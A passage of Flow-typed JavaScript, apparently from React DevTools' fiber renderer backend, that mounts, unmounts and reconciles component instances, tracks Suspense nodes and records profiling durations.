$FlowFixMe[prop-missing]\n          byteSize = (resourceEntry.transferSize: any) || 0;\n        }\n      }\n    }\n    // A representation of the image data itself.\n    // TODO: We could render a little preview in the front end from the resource API.\n    const value: {\n      currentSrc: string,\n      naturalWidth?: number,\n      naturalHeight?: number,\n      fileSize?: number,\n    } = {\n      currentSrc: src,\n    };\n    if (instance.naturalWidth > 0 && instance.naturalHeight > 0) {\n      // The intrinsic size of the file value itself, if it's loaded\n      value.naturalWidth = instance.naturalWidth;\n      value.naturalHeight = instance.naturalHeight;\n    }\n    if (fileSize > 0) {\n      // Cross-origin images won't have a file size that we can access.\n      value.fileSize = fileSize;\n    }\n    const promise = Promise.resolve(value);\n    (promise: any).status = 'fulfilled';\n    (promise: any).value = value;\n    const ioInfo: ReactIOInfo = {\n      name: 'img',\n      start,\n      end,\n      value: promise,\n      // $FlowFixMe: This field doesn't usually take a Fiber but we're only using inside this file.\n      owner: fiber, // Allow linking to the <link> if it's not filtered.\n    };\n    if (byteSize > 0) {\n      // $FlowFixMe[cannot-write]\n      ioInfo.byteSize = byteSize;\n    }\n    const asyncInfo: ReactAsyncInfo = {\n      awaited: ioInfo,\n      // $FlowFixMe: This field doesn't usually take a Fiber but we're only using inside this file.\n      owner: fiber._debugOwner == null ? null : fiber._debugOwner,\n      debugStack: fiber._debugStack == null ? null : fiber._debugStack,\n      debugTask: fiber._debugTask == null ? null : fiber._debugTask,\n    };\n    insertSuspendedBy(asyncInfo);\n  }\n\n  function trackThrownPromisesFromRetryCache(\n    suspenseNode: SuspenseNode,\n    retryCache: ?WeakSet<Wakeable>,\n  ): void {\n    if (retryCache != null) {\n      // If a Suspense boundary ever committed in fallback state with a retryCache, that\n      // suggests that something unique to that boundary was suspensey since otherwise\n      // it wouldn't have thrown and so never created the retryCache.\n      // Unfortunately if we don't have any DEV time debug info or debug thenables then\n      // we have no meta data to show. However, we still mark this Suspense boundary as\n      // participating in the loading sequence since apparently it can suspend.\n      if (!suspenseNode.hasUniqueSuspenders) {\n        recordSuspenseSuspenders(suspenseNode);\n      }\n      suspenseNode.hasUniqueSuspenders = true;\n      // We have not seen any reason yet for why this suspense node might have been\n      // suspended but it clearly has been at some point. If we later discover a reason\n      // we'll clear this flag again.\n      suspenseNode.hasUnknownSuspenders = true;\n    }\n  }\n\n  function mountVirtualChildrenRecursively(\n    firstChild: Fiber,\n    lastChild: null | Fiber, // non-inclusive\n    traceNearestHostComponentUpdate: boolean,\n    virtualLevel: number, // the nth level of virtual instances\n  ): void {\n    // Iterate over siblings rather than recursing.\n    // This reduces the chance of stack overflow for wide trees (e.g. lists with many items).\n    let fiber: Fiber | null = firstChild;\n    let previousVirtualInstance: null | VirtualInstance = null;\n    let previousVirtualInstanceFirstFiber: Fiber = firstChild;\n    while (fiber !== null && fiber !== lastChild) {\n      let level = 0;\n      if (fiber._debugInfo) {\n        for (let i = 0; i < fiber._debugInfo.length; i++) {\n          const debugEntry = fiber._debugInfo[i];\n          if (debugEntry.awaited) {\n            // Async Info\n            const asyncInfo: ReactAsyncInfo = (debugEntry: any);\n            if (level === virtualLevel) {\n              // Track any async info between the previous virtual instance up until to this\n              // instance and add it to the parent. This can add the same set multiple times\n              // so we assume insertSuspendedBy dedupes.\n              insertSuspendedBy(asyncInfo);\n            }\n            continue;\n          }\n          if (typeof debugEntry.name !== 'string') {\n            // Not a Component. Some other Debug Info.\n            continue;\n          }\n          // Scan up until the next Component to see if this component changed environment.\n          const componentInfo: ReactComponentInfo = (debugEntry: any);\n          const secondaryEnv = getSecondaryEnvironmentName(fiber._debugInfo, i);\n          if (componentInfo.env != null) {\n            knownEnvironmentNames.add(componentInfo.env);\n          }\n          if (secondaryEnv !== null) {\n            knownEnvironmentNames.add(secondaryEnv);\n          }\n          if (shouldFilterVirtual(componentInfo, secondaryEnv)) {\n            // Skip.\n            continue;\n          }\n          if (level === virtualLevel) {\n            if (\n              previousVirtualInstance === null ||\n              // Consecutive children with the same debug entry as a parent gets\n              // treated as if they share the same virtual instance.\n              previousVirtualInstance.data !== debugEntry\n            ) {\n              if (previousVirtualInstance !== null) {\n                // Mount any previous children that should go into the previous parent.\n                mountVirtualInstanceRecursively(\n                  previousVirtualInstance,\n                  previousVirtualInstanceFirstFiber,\n                  fiber,\n                  traceNearestHostComponentUpdate,\n                  virtualLevel,\n                );\n              }\n              previousVirtualInstance = createVirtualInstance(componentInfo);\n              recordVirtualMount(\n                previousVirtualInstance,\n                reconcilingParent,\n                secondaryEnv,\n              );\n              insertChild(previousVirtualInstance);\n              previousVirtualInstanceFirstFiber = fiber;\n            }\n            level++;\n            break;\n          } else {\n            level++;\n          }\n        }\n      }\n      if (level === virtualLevel) {\n        if (previousVirtualInstance !== null) {\n          // If we were working on a virtual instance and this is not a virtual\n          // instance, then we end the sequence and mount any previous children\n          // that should go into the previous virtual instance.\n          mountVirtualInstanceRecursively(\n            previousVirtualInstance,\n            previousVirtualInstanceFirstFiber,\n            fiber,\n            traceNearestHostComponentUpdate,\n            virtualLevel,\n          );\n          previousVirtualInstance = null;\n        }\n        // We've reached the end of the virtual levels, but not beyond,\n        // and now continue with the regular fiber.\n        mountFiberRecursively(fiber, traceNearestHostComponentUpdate);\n      }\n      fiber = fiber.sibling;\n    }\n    if (previousVirtualInstance !== null) {\n      // Mount any previous children that should go into the previous parent.\n      mountVirtualInstanceRecursively(\n        previousVirtualInstance,\n        previousVirtualInstanceFirstFiber,\n        null,\n        traceNearestHostComponentUpdate,\n        virtualLevel,\n      );\n    }\n  }\n\n  function mountChildrenRecursively(\n    firstChild: Fiber,\n    traceNearestHostComponentUpdate: boolean,\n  ): void {\n    mountVirtualChildrenRecursively(\n      firstChild,\n      null,\n      traceNearestHostComponentUpdate,\n      0, // first level\n    );\n  }\n\n  function mountSuspenseChildrenRecursively(\n    contentFiber: Fiber,\n    traceNearestHostComponentUpdate: boolean,\n    stashedSuspenseParent: SuspenseNode | null,\n    stashedSuspensePrevious: SuspenseNode | null,\n    stashedSuspenseRemaining: SuspenseNode | null,\n  ) {\n    const fallbackFiber = contentFiber.sibling;\n\n    // First update only the Offscreen boundary. I.e. the main content.\n    mountVirtualChildrenRecursively(\n      contentFiber,\n      fallbackFiber,\n      traceNearestHostComponentUpdate,\n      0, // first level\n    );\n\n    // Next, we'll pop back out of the SuspenseNode that we added above and now we'll\n    // reconcile the fallback, reconciling anything by inserting into the parent SuspenseNode.\n    // Since the fallback conceptually blocks the parent.\n    reconcilingParentSuspenseNode = stashedSuspenseParent;\n    previouslyReconciledSiblingSuspenseNode = stashedSuspensePrevious;\n    remainingReconcilingChildrenSuspenseNodes = stashedSuspenseRemaining;\n    if (fallbackFiber !== null) {\n      mountVirtualChildrenRecursively(\n        fallbackFiber,\n        null,\n        traceNearestHostComponentUpdate,\n        0, // first level\n      );\n    }\n  }\n\n  function mountFiberRecursively(\n    fiber: Fiber,\n    traceNearestHostComponentUpdate: boolean,\n  ): void {\n    const isFocusedActivityEntry =\n      focusedActivity !== null &&\n      (fiber === focusedActivity || fiber.alternate === focusedActivity);\n    if (isFocusedActivityEntry) {\n      isInFocusedActivity = true;\n    }\n\n    const shouldIncludeInTree = !shouldFilterFiber(fiber);\n    let newInstance = null;\n    let newSuspenseNode = null;\n    if (shouldIncludeInTree) {\n      newInstance = recordMount(fiber, reconcilingParent);\n      if (isFocusedActivityEntry) {\n        focusedActivityID = newInstance.id;\n        pushOperation(TREE_OPERATION_APPLIED_ACTIVITY_SLICE_CHANGE);\n        pushOperation(newInstance.id);\n      }\n      if (fiber.tag === SuspenseComponent || fiber.tag === HostRoot) {\n        newSuspenseNode = createSuspenseNode(newInstance);\n        // Measure this Suspense node. In general we shouldn't do this until we have\n        // inserted the new children but since we know this is a FiberInstance we'll\n        // just use the Fiber anyway.\n        // Fallbacks get attributed to the parent so we only measure if we're\n        // showing primary content.\n        if (fiber.tag === SuspenseComponent) {\n          if (OffscreenComponent === -1) {\n            const isTimedOut = fiber.memoizedState !== null;\n            if (!isTimedOut) {\n              newSuspenseNode.rects = measureInstance(newInstance);\n            }\n          } else {\n            const hydrated = isFiberHydrated(fiber);\n            if (hydrated) {\n              const contentFiber = fiber.child;\n              if (contentFiber === null) {\n                throw new Error(\n                  'There should always be an Offscreen Fiber child in a hydrated Suspense boundary.',\n                );\n              }\n            } else {\n              // This Suspense Fiber is still dehydrated. It won't have any children\n              // until hydration.\n            }\n            const isTimedOut = fiber.memoizedState !== null;\n            if (!isTimedOut) {\n              newSuspenseNode.rects = measureInstance(newInstance);\n            }\n          }\n        } else {\n          newSuspenseNode.rects = measureInstance(newInstance);\n        }\n        recordSuspenseMount(newSuspenseNode, reconcilingParentSuspenseNode);\n      }\n      insertChild(newInstance);\n      if (__DEBUG__) {\n        debug('mountFiberRecursively()', newInstance, reconcilingParent);\n      }\n    } else if (\n      (reconcilingParent !== null &&\n        reconcilingParent.kind === VIRTUAL_INSTANCE) ||\n      fiber.tag === SuspenseComponent ||\n      // Use to keep resuspended instances alive inside a SuspenseComponent.\n      fiber.tag === OffscreenComponent ||\n      fiber.tag === LegacyHiddenComponent\n    ) {\n      // If the parent is a Virtual Instance and we filtered this Fiber we include a\n      // hidden node. We also include this if it's a Suspense boundary so we can track those\n      // in the Suspense tree.\n      if (\n        reconcilingParent !== null &&\n        reconcilingParent.kind === VIRTUAL_INSTANCE &&\n        reconcilingParent.data === fiber._debugOwner &&\n        fiber._debugStack != null &&\n        reconcilingParent.source === null\n      ) {\n        // The new Fiber is directly owned by the parent. Therefore somewhere on the\n        // debugStack will be a stack frame inside parent that we can use as its soruce.\n        reconcilingParent.source = fiber._debugStack;\n      }\n\n      newInstance = createFilteredFiberInstance(fiber);\n      if (fiber.tag === SuspenseComponent) {\n        newSuspenseNode = createSuspenseNode(newInstance);\n        // Measure this Suspense node. In general we shouldn't do this until we have\n        // inserted the new children but since we know this is a FiberInstance we'll\n        // just use the Fiber anyway.\n        // Fallbacks get attributed to the parent so we only measure if we're\n        // showing primary content.\n        if (OffscreenComponent === -1) {\n          const isTimedOut = fiber.memoizedState !== null;\n          if (!isTimedOut) {\n            newSuspenseNode.rects = measureInstance(newInstance);\n          }\n        } else {\n          const hydrated = isFiberHydrated(fiber);\n          if (hydrated) {\n            const contentFiber = fiber.child;\n            if (contentFiber === null) {\n              throw new Error(\n                'There should always be an Offscreen Fiber child in a hydrated Suspense boundary.',\n              );\n            }\n          } else {\n            // This Suspense Fiber is still dehydrated. It won't have any children\n            // until hydration.\n          }\n          const suspenseState = fiber.memoizedState;\n          const isTimedOut = suspenseState !== null;\n          if (!isTimedOut) {\n            newSuspenseNode.rects = measureInstance(newInstance);\n          }\n        }\n      }\n      insertChild(newInstance);\n      if (__DEBUG__) {\n        debug('mountFiberRecursively()', newInstance, reconcilingParent);\n      }\n    }\n\n    // If we have the tree selection from previous reload, try to match this Fiber.\n    // Also remember whether to do the same for siblings.\n    const mightSiblingsBeOnTrackedPath = updateTrackedPathStateBeforeMount(\n      fiber,\n      newInstance,\n    );\n\n    const stashedParent = reconcilingParent;\n    const stashedPrevious = previouslyReconciledSibling;\n    const stashedRemaining = remainingReconcilingChildren;\n    const stashedSuspenseParent = reconcilingParentSuspenseNode;\n    const stashedSuspensePrevious = previouslyReconciledSiblingSuspenseNode;\n    const stashedSuspenseRemaining = remainingReconcilingChildrenSuspenseNodes;\n    const stashedIsInActivitySlice = isInFocusedActivity;\n    if (newInstance !== null) {\n      // Push a new DevTools instance parent while reconciling this subtree.\n      reconcilingParent = newInstance;\n      previouslyReconciledSibling = null;\n      remainingReconcilingChildren = null;\n    }\n    let shouldPopSuspenseNode = false;\n    if (newSuspenseNode !== null) {\n      reconcilingParentSuspenseNode = newSuspenseNode;\n      previouslyReconciledSiblingSuspenseNode = null;\n      remainingReconcilingChildrenSuspenseNodes = null;\n      shouldPopSuspenseNode = true;\n    }\n    if (\n      !isFocusedActivityEntry &&\n      focusedActivity !== null &&\n      fiber.tag === ActivityComponent\n    ) {\n      // We're not filtering how Activity within the focused activity.\n      // We cut of the bottom in the Frontend if we want to just show the\n      // Activity slice instead of all Activity descendants.\n      // The filtering in the backend only happens because filtering out\n      // everything above the focused Activity is hard to implement in the frontend.\n    }\n    try {\n      if (traceUpdatesEnabled) {\n        if (traceNearestHostComponentUpdate) {\n          const elementType = getElementTypeForFiber(fiber);\n          // If an ancestor updated, we should mark the nearest host nodes for highlighting.\n          if (elementType === ElementTypeHostComponent) {\n            traceUpdatesForNodes.add(fiber.stateNode);\n            traceNearestHostComponentUpdate = false;\n          }\n        }\n\n        // We intentionally do not re-enable the traceNearestHostComponentUpdate flag in this branch,\n        // because we don't want to highlight every host node inside of a newly mounted subtree.\n      }\n\n      trackDebugInfoFromLazyType(fiber);\n      trackDebugInfoFromUsedThenables(fiber);\n\n      if (fiber.tag === HostHoistable) {\n        const nearestInstance = reconcilingParent;\n        if (nearestInstance === null) {\n          throw new Error('Did not expect a host hoistable to be the root');\n        }\n        aquireHostResource(nearestInstance, fiber.memoizedState);\n        trackDebugInfoFromHostResource(nearestInstance, fiber);\n      } else if (\n        fiber.tag === HostComponent ||\n        fiber.tag === HostText ||\n        fiber.tag === HostSingleton\n      ) {\n        const nearestInstance = reconcilingParent;\n        if (nearestInstance === null) {\n          throw new Error('Did not expect a host hoistable to be the root');\n        }\n        aquireHostInstance(nearestInstance, fiber.stateNode);\n        trackDebugInfoFromHostComponent(nearestInstance, fiber);\n      }\n\n      if (isSuspendedOffscreen(fiber)) {\n        // If an Offscreen component is hidden, mount its children as disconnected.\n        const stashedDisconnected = isInDisconnectedSubtree;\n        isInDisconnectedSubtree = true;\n        try {\n          if (fiber.child !== null) {\n            mountChildrenRecursively(fiber.child, false);\n          }\n        } finally {\n          isInDisconnectedSubtree = stashedDisconnected;\n        }\n      } else if (isHiddenOffscreen(fiber)) {\n        if (isActivityHiddenOffscreen(fiber)) {\n          // Activity's hidden children should still be visible in DevTools.\n          if (fiber.child !== null) {\n            mountChildrenRecursively(\n              fiber.child,\n              traceNearestHostComponentUpdate,\n            );\n          }\n        }\n        // Otherwise, hidden Offscreen (e.g. non-Activity) is noisy.\n        // Including it may show overlapping Suspense rects\n      } else if (fiber.tag === SuspenseComponent && OffscreenComponent === -1) {\n        // Legacy Suspense without the Offscreen wrapper. For the modern Suspense we just handle the\n        // Offscreen wrapper itself specially.\n        if (newSuspenseNode !== null) {\n          trackThrownPromisesFromRetryCache(newSuspenseNode, fiber.stateNode);\n        }\n        const isTimedOut = fiber.memoizedState !== null;\n        if (isTimedOut) {\n          // Special case: if Suspense mounts in a timed-out state,\n          // get the fallback child from the inner fragment and mount\n          // it as if it was our own child. Updates handle this too.\n          const primaryChildFragment = fiber.child;\n          const fallbackChildFragment = primaryChildFragment\n            ? primaryChildFragment.sibling\n            : null;\n          if (fallbackChildFragment) {\n            const fallbackChild = fallbackChildFragment.child;\n            if (fallbackChild !== null) {\n              updateTrackedPathStateBeforeMount(fallbackChildFragment, null);\n              mountChildrenRecursively(\n                fallbackChild,\n                traceNearestHostComponentUpdate,\n              );\n            }\n          }\n          // TODO: Track SuspenseNode in resuspended trees.\n        } else {\n          const primaryChild: Fiber | null = fiber.child;\n          if (primaryChild !== null) {\n            mountChildrenRecursively(\n              primaryChild,\n              traceNearestHostComponentUpdate,\n            );\n          }\n        }\n      } else if (\n        fiber.tag === SuspenseComponent &&\n        OffscreenComponent !== -1 &&\n        newInstance !== null &&\n        newSuspenseNode !== null\n      ) {\n        // Modern Suspense path\n        const contentFiber = fiber.child;\n        const hydrated = isFiberHydrated(fiber);\n        if (hydrated) {\n          if (contentFiber === null) {\n            throw new Error(\n              'There should always be an Offscreen Fiber child in a hydrated Suspense boundary.',\n            );\n          }\n\n          trackThrownPromisesFromRetryCache(newSuspenseNode, fiber.stateNode);\n\n          mountSuspenseChildrenRecursively(\n            contentFiber,\n            traceNearestHostComponentUpdate,\n            stashedSuspenseParent,\n            stashedSuspensePrevious,\n            stashedSuspenseRemaining,\n          );\n          // mountSuspenseChildrenRecursively popped already\n          shouldPopSuspenseNode = false;\n        } else {\n          // This Suspense Fiber is still dehydrated. It won't have any children\n          // until hydration.\n        }\n      } else {\n        if (fiber.child !== null) {\n          mountChildrenRecursively(\n            fiber.child,\n            traceNearestHostComponentUpdate,\n          );\n        }\n      }\n    } finally {\n      isInFocusedActivity = stashedIsInActivitySlice;\n      if (newInstance !== null) {\n        reconcilingParent = stashedParent;\n        previouslyReconciledSibling = stashedPrevious;\n        remainingReconcilingChildren = stashedRemaining;\n      }\n      if (shouldPopSuspenseNode) {\n        reconcilingParentSuspenseNode = stashedSuspenseParent;\n        previouslyReconciledSiblingSuspenseNode = stashedSuspensePrevious;\n        remainingReconcilingChildrenSuspenseNodes = stashedSuspenseRemaining;\n      }\n    }\n\n    // We're exiting this Fiber now, and entering its siblings.\n    // If we have selection to restore, we might need to re-activate tracking.\n    updateTrackedPathStateAfterMount(mightSiblingsBeOnTrackedPath);\n  }\n\n  // We use this to simulate unmounting for Suspense trees\n  // when we switch from primary to fallback, or deleting a subtree.\n  function unmountInstanceRecursively(instance: DevToolsInstance) {\n    if (__DEBUG__) {\n      debug('unmountInstanceRecursively()', instance, reconcilingParent);\n    }\n\n    let shouldPopSuspenseNode = false;\n    const stashedParent = reconcilingParent;\n    const stashedPrevious = previouslyReconciledSibling;\n    const stashedRemaining = remainingReconcilingChildren;\n    const stashedSuspenseParent = reconcilingParentSuspenseNode;\n    const stashedSuspensePrevious = previouslyReconciledSiblingSuspenseNode;\n    const stashedSuspenseRemaining = remainingReconcilingChildrenSuspenseNodes;\n    const stashedIsInActivitySlice = isInFocusedActivity;\n    const previousSuspendedBy = instance.suspendedBy;\n    // Push a new DevTools instance parent while reconciling this subtree.\n    reconcilingParent = instance;\n    previouslyReconciledSibling = null;\n    // Move all the children of this instance to the remaining set.\n    remainingReconcilingChildren = instance.firstChild;\n    instance.firstChild = null;\n    instance.suspendedBy = null;\n\n    if (instance.suspenseNode !== null) {\n      reconcilingParentSuspenseNode = instance.suspenseNode;\n      previouslyReconciledSiblingSuspenseNode = null;\n      remainingReconcilingChildrenSuspenseNodes =\n        instance.suspenseNode.firstChild;\n\n      shouldPopSuspenseNode = true;\n    }\n\n    if (focusedActivity !== null) {\n      if (instance.id === focusedActivityID) {\n        isInFocusedActivity = true;\n      } else if (\n        instance.kind === FIBER_INSTANCE &&\n        instance.data !== null &&\n        instance.data.tag === ActivityComponent\n      ) {\n        // Filtering nested Activity components inside the focused activity\n        // is done in the frontend.\n      }\n    }\n\n    try {\n      // Unmount the remaining set.\n      if (\n        (instance.kind === FIBER_INSTANCE ||\n          instance.kind === FILTERED_FIBER_INSTANCE) &&\n        instance.data.tag === SuspenseComponent &&\n        OffscreenComponent !== -1\n      ) {\n        const fiber = instance.data;\n        const contentFiberInstance = remainingReconcilingChildren;\n        const hydrated = isFiberHydrated(fiber);\n        if (hydrated) {\n          if (contentFiberInstance === null) {\n            throw new Error(\n              'There should always be an Offscreen Fiber child in a hydrated Suspense boundary.',\n            );\n          }\n\n          unmountSuspenseChildrenRecursively(\n            contentFiberInstance,\n            stashedSuspenseParent,\n            stashedSuspensePrevious,\n            stashedSuspenseRemaining,\n          );\n          // unmountSuspenseChildren already popped\n          shouldPopSuspenseNode = false;\n        } else {\n          if (contentFiberInstance !== null) {\n            throw new Error(\n              'A dehydrated Suspense node should not have a content Fiber.',\n            );\n          }\n        }\n      } else {\n        unmountRemainingChildren();\n      }\n      removePreviousSuspendedBy(\n        instance,\n        previousSuspendedBy,\n        reconcilingParentSuspenseNode,\n      );\n    } finally {\n      reconcilingParent = stashedParent;\n      previouslyReconciledSibling = stashedPrevious;\n      remainingReconcilingChildren = stashedRemaining;\n      if (shouldPopSuspenseNode) {\n        reconcilingParentSuspenseNode = stashedSuspenseParent;\n        previouslyReconciledSiblingSuspenseNode = stashedSuspensePrevious;\n        remainingReconcilingChildrenSuspenseNodes = stashedSuspenseRemaining;\n      }\n      isInFocusedActivity = stashedIsInActivitySlice;\n    }\n    if (instance.kind === FIBER_INSTANCE) {\n      recordUnmount(instance);\n    } else if (instance.kind === VIRTUAL_INSTANCE) {\n      recordVirtualUnmount(instance);\n    } else {\n      untrackFiber(instance, instance.data);\n    }\n    removeChild(instance, null);\n  }\n\n  function recordProfilingDurations(\n    fiberInstance: FiberInstance,\n    prevFiber: null | Fiber,\n  ) {\n    const id = fiberInstance.id;\n    const fiber = fiberInstance.data;\n    const {actualDuration, treeBaseDuration} = fiber;\n\n    fiberInstance.treeBaseDuration = treeBaseDuration || 0;\n\n    if (isProfiling) {\n      // It's important to update treeBaseDuration even if the current Fiber did not render,\n      // because it's possible that one of its descendants did.\n      if (\n        prevFiber == null ||\n        treeBaseDuration !== prevFiber.treeBaseDuration\n      ) {\n        // Tree base duration updates are included in the operations typed array.\n        // So we have to convert them from milliseconds to microseconds so we can send them as ints.\n        const convertedTreeBaseDuration = Math.floor(\n          (treeBaseDuration || 0) * 1000,\n        );\n        pushOperation(TREE_OPERATION_UPDATE_TREE_BASE_DURATION);\n        pushOperation(id);\n        pushOperation(convertedTreeBaseDuration);\n      }\n\n      if (\n        prevFiber == null ||\n        (prevFiber !== fiber &&\n          didFiberRender(ReactTypeOfWork, prevFiber, fiber))\n      ) {\n        if (actualDuration != null) {\n          // The actual duration reported by React includes time spent working on children.\n          // This is useful information, but it's also useful to be able to exclude child durations.\n          // The frontend can't compute this, since the immediate children may have been filtered out.\n          // So we need to do this on the backend.\n          // Note that this calculated self duration is not the same thing as the base duration.\n          // The two are calculated differently (tree duration does not accumulate).\n          let selfDuration = actualDuration;\n          let child = fiber.child;\n          while (child !== null) {\n            selfDuration -= child.actualDuration || 0;\n            child = child.sibling;\n          }\n\n          // If profiling is active, store durations for elements that were rendered during the commit.\n          // Note that we should do this for any fiber we performed work on, regardless of its actualDuration value.\n          // In some cases actualDuration might be 0 for fibers we worked on (particularly if we're using Date.now)\n          // In other cases (e.g. Memo) actualDuration might be greater than 0 even if we \"bailed out\".\n          const metadata =\n            ((currentCommitProfilingMetadata: any): CommitProfilingData);\n          metadata.durations.push(id, actualDuration, selfDuration);\n          metadata.maxActualDuration = Math.max(\n            metadata.maxActualDuration,\n            actualDuration,\n          );\n\n          if (recordChangeDescriptions) {\n            const changeDescription = getChangeDescription(prevFiber, fiber);\n            if (changeDescription !== null) {\n              if (metadata.changeDescriptions !== null) {\n                metadata.changeDescriptions.set(id, changeDescription);\n              }\n            }\n          }\n        }\n      }\n\n      // If this Fiber was in the set of memoizedUpdaters we need to record\n      // it to be included in the description of the commit.\n      const fiberRoot: FiberRoot = currentRoot.data.stateNode;\n      const updaters = fiberRoot.memoizedUpdaters;\n      if (\n        updaters != null &&\n        (updaters.has(fiber) ||\n          // We check the alternate here because we're matching identity and\n          // prevFiber might be same as fiber.\n          (fiber.alternate !== null && updaters.has(fiber.alternate)))\n      ) {\n        const metadata =\n          ((currentCommitProfilingMetadata: any): CommitProfilingData);\n        if (metadata.updaters === null) {\n          metadata.updaters = [];\n        }\n        metadata.updaters.push(instanceToSerializedElement(fiberInstance));\n      }\n    }\n  }\n\n  function recordVirtualProfilingDurations(virtualInstance: VirtualInstance) {\n    const id = virtualInstance.id;\n\n    let treeBaseDuration = 0;\n    // Add up the base duration of the child instances. The virtual base duration\n    // will be the same as children's duration since we don't take up any render\n    // time in the virtual instance.\n    for (\n      let child = virtualInstance.firstChild;\n      child !== null;\n      child = child.nextSibling\n    ) {\n      treeBaseDuration += child.treeBaseDuration;\n    }\n\n    if (isProfiling) {\n      const previousTreeBaseDuration = virtualInstance.treeBaseDuration;\n      if (treeBaseDuration !== previousTreeBaseDuration) {\n        // Tree base duration updates are included in the operations typed array.\n        // So we have to convert them from milliseconds to microseconds so we can send them as ints.\n        const convertedTreeBaseDuration = Math.floor(\n          (treeBaseDuration || 0) * 1000,\n        );\n        pushOperation(TREE_OPERATION_UPDATE_TREE_BASE_DURATION);\n        pushOperation(id);\n        pushOperation(convertedTreeBaseDuration);\n      }\n    }\n\n    virtualInstance.treeBaseDuration = treeBaseDuration;\n  }\n\n  function addUnfilteredChildrenIDs(\n    parentInstance: DevToolsInstance,\n    nextChildren: Array<number>,\n  ): void {\n    let child: null | DevToolsInstance = parentInstance.firstChild;\n    while (child !== null) {\n      if (child.kind === FILTERED_FIBER_INSTANCE) {\n        const fiber = child.data;\n        if (isHiddenOffscreen(fiber) && !isActivityHiddenOffscreen(fiber)) {\n          // The children of this Offscreen are hidden so they don't get added.\n          // Activity's hidden children are still shown in the tree.\n        } else {\n          addUnfilteredChildrenIDs(child, nextChildren);\n        }\n      } else {\n        nextChildren.push(child.id);\n      }\n      child = child.nextSibling;\n    }\n  }\n\n  function recordResetChildren(\n    parentInstance: FiberInstance | VirtualInstance,\n  ) {\n    if (__DEBUG__) {\n      if (parentInstance.firstChild !== null) {\n        debug(\n          'recordResetChildren()',\n          parentInstance.firstChild,\n          parentInstance,\n        );\n      }\n    }\n    // The frontend only really cares about the displayName, key, and children.\n    // The first two don't really change, so we are only concerned with the order of children here.\n    // This is trickier than a simple comparison though, since certain types of fibers are filtered.\n    const nextChildren: Array<number> = [];\n\n    addUnfilteredChildrenIDs(parentInstance, nextChildren);\n\n    const numChildren = nextChildren.length;\n    if (numChildren < 2) {\n      // No need to reorder.\n      return;\n    }\n    pushOperation(TREE_OPERATION_REORDER_CHILDREN);\n    pushOperation(parentInstance.id);\n    pushOperation(numChildren);\n    for (let i = 0; i < nextChildren.length; i++) {\n      pushOperation(nextChildren[i]);\n    }\n  }\n\n  function addUnfilteredSuspenseChildrenIDs(\n    parentInstance: SuspenseNode,\n    nextChildren: Array<number>,\n  ): void {\n    let child: null | SuspenseNode = parentInstance.firstChild;\n    while (child !== null) {\n      if (child.instance.kind === FILTERED_FIBER_INSTANCE) {\n        addUnfilteredSuspenseChildrenIDs(child, nextChildren);\n      } else {\n        nextChildren.push(child.instance.id);\n      }\n      child = child.nextSibling;\n    }\n  }\n\n  function recordResetSuspenseChildren(parentInstance: SuspenseNode) {\n    if (__DEBUG__) {\n      if (parentInstance.firstChild !== null) {\n        console.log(\n          'recordResetSuspenseChildren()',\n          parentInstance.firstChild,\n          parentInstance,\n        );\n      }\n    }\n    // The frontend only really cares about the name, and children.\n    // The first two don't really change, so we are only concerned with the order of children here.\n    // This is trickier than a simple comparison though, since certain types of fibers are filtered.\n    const nextChildren: Array<number> = [];\n\n    addUnfilteredSuspenseChildrenIDs(parentInstance, nextChildren);\n\n    const numChildren = nextChildren.length;\n    if (numChildren < 2) {\n      // No need to reorder.\n      return;\n    }\n    pushOperation(SUSPENSE_TREE_OPERATION_REORDER_CHILDREN);\n    // $FlowFixMe[incompatible-call] TODO: Allow filtering SuspenseNode\n    pushOperation(parentInstance.instance.id);\n    pushOperation(numChildren);\n    for (let i = 0; i < nextChildren.length; i++) {\n      pushOperation(nextChildren[i]);\n    }\n  }\n\n  function updateVirtualInstanceRecursively(\n    virtualInstance: VirtualInstance,\n    nextFirstChild: Fiber,\n    nextLastChild: null | Fiber, // non-inclusive\n    prevFirstChild: null | Fiber,\n    traceNearestHostComponentUpdate: boolean,\n    virtualLevel: number, // the nth level of virtual instances\n  ): UpdateFlags {\n    const stashedParent = reconcilingParent;\n    const stashedPrevious = previouslyReconciledSibling;\n    const stashedRemaining = remainingReconcilingChildren;\n    const previousSuspendedBy = virtualInstance.suspendedBy;\n    // Push a new DevTools instance parent while reconciling this subtree.\n    reconcilingParent = virtualInstance;\n    previouslyReconciledSibling = null;\n    // Move all the children of this instance to the remaining set.\n    // We'll move them back one by one, and anything that remains is deleted.\n    remainingReconcilingChildren = virtualInstance.firstChild;\n    virtualInstance.firstChild = null;\n    virtualInstance.suspendedBy = null;\n    try {\n      let updateFlags = updateVirtualChildrenRecursively(\n        nextFirstChild,\n        nextLastChild,\n        prevFirstChild,\n        traceNearestHostComponentUpdate,\n        virtualLevel + 1,\n      );\n      if ((updateFlags & ShouldResetChildren) !== NoUpdate) {\n        if (!isInDisconnectedSubtree) {\n          recordResetChildren(virtualInstance);\n        }\n        updateFlags &= ~ShouldResetChildren;\n      }\n      removePreviousSuspendedBy(\n        virtualInstance,\n        previousSuspendedBy,\n        reconcilingParentSuspenseNode,\n      );\n      // Update the errors/warnings count. If this Instance has switched to a different\n      // ReactComponentInfo instance, such as when refreshing Server Components, then\n      // we replace all the previous logs with the ones associated with the new ones rather\n      // than merging. Because deduping is expected to happen at the request level.\n      const componentLogsEntry = componentInfoToComponentLogsMap.get(\n        virtualInstance.data,\n      );\n      recordConsoleLogs(virtualInstance, componentLogsEntry);\n      // Must be called after all children have been appended.\n      recordVirtualProfilingDurations(virtualInstance);\n\n      return updateFlags;\n    } finally {\n      unmountRemainingChildren();\n      reconcilingParent = stashedParent;\n      previouslyReconciledSibling = stashedPrevious;\n      remainingReconcilingChildren = stashedRemaining;\n    }\n  }\n\n  function updateVirtualChildrenRecursively(\n    nextFirstChild: Fiber,\n    nextLastChild: null | Fiber, // non-inclusive\n    prevFirstChild: null | Fiber,\n    traceNearestHostComponentUpdate: boolean,\n    virtualLevel: number, // the nth level of virtual instances\n  ): UpdateFlags {\n    let updateFlags = NoUpdate;\n    // If the first child is different, we need to traverse them.\n    // Each next child will be either a new child (mount) or an alternate (update).\n    let nextChild: null | Fiber = nextFirstChild;\n    let prevChildAtSameIndex = prevFirstChild;\n    let previousVirtualInstance: null | VirtualInstance = null;\n    let previousVirtualInstanceWasMount: boolean = false;\n    let previousVirtualInstanceNextFirstFiber: Fiber = nextFirstChild;\n    let previousVirtualInstancePrevFirstFiber: null | Fiber = prevFirstChild;\n    while (nextChild !== null && nextChild !== 